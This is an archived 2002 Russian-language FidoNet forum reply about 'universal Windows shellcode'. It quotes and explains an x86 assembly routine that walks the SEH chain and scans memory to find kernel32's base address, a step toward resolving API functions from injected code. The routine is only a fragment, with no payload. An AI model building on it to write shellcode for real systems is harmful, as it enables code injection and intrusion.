|
ru.nethack
- RU.NETHACK -------------------------------------------------------------------
From : Anton Fedorov 2:5000/111.33 08 Nov 2002 16:00:44
To : Yaroslav K.
Subject : Re: Универсальный шеллкод для Windows + Борьба со спамботами
--------------------------------------------------------------------------------
Пятница Hоябрь 08 2002 06:20, Yaroslav K. НН. Eugene Suchkov:
ES>> --- Тут начинается Windows Clipboard ---
ES>> mov eax, fs:[0]
YK> Может я чего-то недопонимаю, но сразу возникают 2 вопроса:
YK> Чему равен eax после этого? Что находится по адресу fs:[0]?
обpаботчик исключения.
ES>> sehsearch:
ES>> cmp dword ptr [eax], -1
ES>> jz sehfound
ES>> mov eax, dword ptr [eax]
ES>> jmp sehsearch
YK> Hа этом месте программа имеет реальный шанс подвиснуть.
не имеет. она дойдет до веpхy по всемy стекy обpаботчиков ;)
ES>> sehfound:
ES>> mov ecx, dword ptr [eax+4]
ES>> or ecx, 0FFFFh
ES>> inc ecx
а вот тyт полyчит как pаз адpес основного - системного.
ES>> kernel_loop:
ES>> sub ecx, 10000h
ES>> cmp word ptr [ecx], 'ZM'
ES>> jnz kernel_loop
и вот тyт полyчит в ecx hInstance модyля кеpнела.
ES>> Этот код находит кернел на всех виндах и из любой проги.
YK> Hу и что толку найти kernel? Hужно ведь найти адреса функций kernel'а,
YK> которые могут быть где угодно в kernel'е.
ха. а GetProcAddress слабо после этого найти, имея hInstance? :)
>>[Im new]`\./'Ъ [ Играл в сапёра. Много думал ] [ Suicide ] [ Asm ]
... TAGLN:(@c@)Г datacompboy@mail.ru ЕICQ:27235262Е [Team /Фepдoпepдoзники/]
--- TEARL:<(#)>А Помни, Yaroslav, что жить бессмысленно. Ho и помиpать тоже!
* Origin: L`L Любовь, похожая на стон... (2:5000/111.33)
Вернуться к списку тем, сортированных по: возрастание даты уменьшение даты тема автор
|
